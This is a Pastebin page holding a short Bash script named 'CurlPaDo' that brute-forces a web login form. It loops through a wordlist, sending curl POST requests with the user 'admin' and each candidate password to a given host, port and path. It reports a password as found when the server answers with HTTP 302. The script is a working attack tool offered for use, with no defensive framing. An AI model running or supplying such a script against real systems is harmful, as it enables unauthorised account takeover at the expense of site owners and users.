Advertisement
fenix_of_fire

CurlPaDo

Jul 22nd, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.76 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. #by: Br0wF0x
  4. if [ "$1" == "" ];then
  5.     clear;echo "[*] CurlPaDo v1.0 La fuerza bruta con el curl [*]"
  6.     echo;echo "[***] Por favor,edite los parametros en la fuente del codigo en la variable de inicio de sesion"
  7.     echo "Usage: $0 wordlist target port /index.php"
  8.     exit 0;
  9. fi
  10. clear;
  11. echo "Brute Forcing with CURL !"
  12. echo;echo "Runing..."
  13. #---------------Parametros-----------#
  14. ####USER####
  15. uU="username"
  16. U="admin"
  17. ###PASS###
  18. pP="password"
  19. ###SUB###
  20. sS="submit"
  21. S="Login"
  22. ###MAIN###
  23. for i in $(cat $1); do
  24.     login=$(curl -s -o /dev/null -F $uU=$U -F $pP=$i -F $sS=$S -w "%{http_code}" $2:$3$4);
  25.     if [ $login '==' "302" ];then
  26.         clear;
  27.         echo "[*] Password Found: $i [*]"
  28.         break
  29.     else
  30.         echo -e "[*] Trying: $i\t\t\t\t\t\tCode: $login"
  31.     fi
  32. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement